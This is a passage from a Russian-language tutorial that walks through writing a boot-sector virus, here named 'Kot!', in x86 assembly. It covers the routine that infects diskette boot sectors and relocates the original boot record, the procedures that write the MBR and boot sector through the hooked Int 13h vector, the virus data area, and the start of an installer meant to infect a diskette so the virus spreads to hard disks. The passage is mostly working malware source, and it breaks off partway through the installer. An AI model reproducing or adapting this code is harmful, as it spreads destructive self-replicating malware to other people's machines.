cmp word ptr ds:[40bh],200h ;512 байт в
;секторе ?
jne cs:to_jump ;Нет !
;
mov dl_save - 100h,dl
mov ch,79 ;Определим
mov dh,byte ptr ds:[415h]
cmp dh,0f0h ;параметры
je cs:real_80 ;дискеты
cmp dh,0f9h ;по ее
je cs:real_80 ;Media
cmp dh,0fdh ;Descryptor
jne cs:to_jump ;
mov ch,39 ;
real_80: mov dh,01h ;
mov cl,byte ptr ds:[418h]
;Перепишем нас-
;тоящий BOOT в
;последний сек-
;тор последней
;дорожки на пос-
;ледней стороне
xor dl,dl ;
call cs:write_mbr_last ;
jc cs:to_jump ;
;
mov additor - 100h,055h;Сформируем код,
xor di,di ;который нужно
mov cx,prg_lenght ;записать на
copy_vir: mov al,byte ptr ds:[di];дискету вместо
mov byte ptr ds:[di + 455h],al ;исходной BOOT -
inc di ;записи
loop cs:copy_vir ;
mov word ptr ds:[400h],053ebh ;
;
xor dh,dh ;И запишем его
call cs:write_mbr ;в первый
;сектор нулевой
;дорожки нулевой
;стороны дискеты
;
restore_regs: ;Восстановим из
popf ;стека регистры
pop es ;
pop ds ;
pop di ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
ret ;Выйдем из про-
;цедуры
boot_infect endp ;
Как вы успели заметить,текст процедуры очень похож
на текст фрагмента, который будет заражать жесткий
диск. Небольшие отличия связаны со спецификой ра-
боты дисковода и винчестера. Дело в том, что жест-
кий диск вращается непрерывно (за исключением не-
которых новых систем с режимом экономии электро-
энергии), а двигатель дисковода запускается только
при закрытии его флажка (если быть точным,это за-
висит от конструкции дисковода.) Поэтому,если дви-
гатель дисковода к моменту выполнения операции
чтения не набрал необходимую скорость, BIOS вер-
нет ошибку и сообщит, что дискета сменена.В этом
случае рекомендуется повторить чтение, предварите-
льно сбросив накопитель. Наш вирус повторяет попы-
тку чтения три раза, после чего в случае неудачи
отказывается от заражения такого диска.
Несколько раньше мы выяснили, что для разных вер-
сий MS DOS и WINDOWS программа начальной загрузки
в BOOT - секторе дискеты располагается по разным
смещениям. Сделано это по той причине, что старшие
версии операционной системы хранят в загрузочном
секторе более подробные сведения о диске. Наи-
большим смещением,с которым вы когда - либо може-
те встретиться, является 0055h. Поэтому наш вирус
будет помещать в BOOT - сектор свой код,ориентиру-
ясь именно на приведенное значение. Тогда в первые
два байта сектора должна быть записана команда пе-
рехода на начало этого кода, а именно : " EB 53 ".
Формат BOOT - сектора приведен в ПРИЛОЖЕНИИ 2.
И последнее - вирус определяет параметры заражае-
мой дискеты исходя из ее Media Descryptor. Сам De-
scryptor содержится в BOOT - секторе любой дискеты
и вместе с некоторыми другими параметрами однозна-
чно задает ее тип.Интерпретация различных дескрип-
торов приведена в конце ПРИЛОЖЕНИЯ 2.
1.12 Используемые процедуры
Фактически вирус уже изготовлен.Осталось лишь при-
вести тексты процедур, которые он будет использо-
вать в своей работе :
read_mbr proc ;
xor dh,dh ;
mov ax,0201h ;Процедура
mov bx,400h ;читает первый
mov cx,01h ;сектор нулевой
pushf ;дорожки нулевой
call dword ptr old_13h - 100h ;стороны указан-
ret ;ного накопителя
read_mbr endp ;
;
write_mbr proc ;
mov ax,0301h ;Процедура
mov cx,01h ;помещает вирус-
pushf ;ный код в BOOT-
call dword ptr old_13h - 100h ;сектор дискеты
ret ;или записывает
write_mbr endp ;его вместо MBR
;винчестера
;
write_mbr_last proc ;Процедура
;переписывает
;исходную BOOT-
;запись или MBR
mov num_head - 100h,dx ;в заданный
mov cyl_sect - 100h,cx ;сектор
mov dl,dl_save - 100h ;заражаемого
;диска
mov ax,0301h ;
pushf ;
call dword ptr old_13h - 100h ;
ret ;
write_mbr_last endp ;
Процедуры построены очень просто, и объяснять их
работу, скорее всего, нет смысла. Отметим только,
что все вызовы Int 13h оформлены в виде вызова да-
льней процедуры. Это необходимо для предотвращения
потенциальных " глюков ", связанных с нереентера-
бельностью программ,выполняющих обработку Int 13h.
Хотя такой метод несколько увеличивает размер ви-
русного кода.
1.13 Область данных вируса
В отличие от предыдущих программ, область данных
написанного нами загрузочного вируса имеет на уди-
вление простую структуру :
;
db 'Kot!' ;Название вируса
dl_save db 0 ;Ячейка для вре-
;менного хране-
;ния регистра DL
;( он задает
;номер накопите-
;ля )
num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
;головки,дорожки
;и сектора зара-
;женного диска ,
;на которых за-
;писана настоя-
;щая загрузочная
;запись
vvv dw 004ch ;Смещение к век-
;тору Int 13h
;Длина вирусного
;кода :
prg_lenght equ $ - my_prg
Вы можете спросить,почему для имени вируса отведе-
но всего четыре байта.Дело в том,что наш вирус по-
лучился довольно большим (421 байт - можете прове-
рить !). Несколько раньше мы выяснили, что этот
размер не может быть больше, чем 425 байт. А
425 - 421 как раз равно четырем ...
1.14 Пишем секцию инсталляции
Очевидно, в таком виде, в каком сейчас существует
наш вирус, его довольно трудно внедрить в систему.
Поэтому для облегчения этой "вредительской" опе-
рации напишем специальный инсталлятор. Его функция
состоит в следующем : при старте запускающей про-
граммы из командной строки или из - под оболочки
заразить диск в дисководе " A ".Причем диск совсем
не обязательно должен быть загрузочным. Далее с
этого диска нужно загрузиться на той машине, ко-
торую требуется заразить. При этом вирус заразит
MBR ее жесткого диска. Теперь, после загрузки с
винчестера, вирус будет инфицировать все читаемые
на зараженной машине дискеты и начнет распрост-
раняться.
Исходя из сказанного выше, можно предложить такое
решение :
installer: lea si,my_prg ;Подменим коман-
mov byte ptr [si],33h ;ду перехода на
mov byte ptr [si + 1],0c0h ;первые три бай-
mov byte ptr [si + 2],8eh ;та кода вируса
;Попробуем про-
;честь BOOT -
;сектор дискеты.
mov ax,0201h ;
mov cx,01h ;
xor dx,dx ;
lea bx,bufer ;
int 13h ;
jc error ;
;
push es ;Получим пара-
mov ah,08h ;метры дискеты
xor dl,dl ;
int 13h ;
jnc all_good ;
cmp ah,01h ;
jne error ;
mov dh,01h ;
mov ch,27h ;
mov cl,byte ptr bufer [18h] ;
all_good: xor dl,dl ;
mov num_head,dx ;
mov cyl_sect,cx ;
pop es ;
;Перепишем нас-
;тоящий BOOT в
;последний сек-
;тор последней
;дорожки на пос-
;ледней стороне
mov ax,0301h ;
lea bx,bufer ;
int 13h ;
jc error ;
;Сформируем код,
;который нужно
;записать на
;дискету вместо
;исходной BOOT -
;записи
mov additor,055h ;
lea si,bufer + 55h ;
lea di,my_prg ;
mov cx,prg_lenght ;
copy_boot: mov al,byte ptr [di] ;
mov byte ptr [si],al ;
inc si ;
inc di ;
loop copy_boot ;
mov word ptr bufer[0],053ebh ;
;И запишем его
;в первый
;сектор нулевой
;дорожки нулевой
;стороны дискеты
mov ax,0301h ;
mov cx,01h ;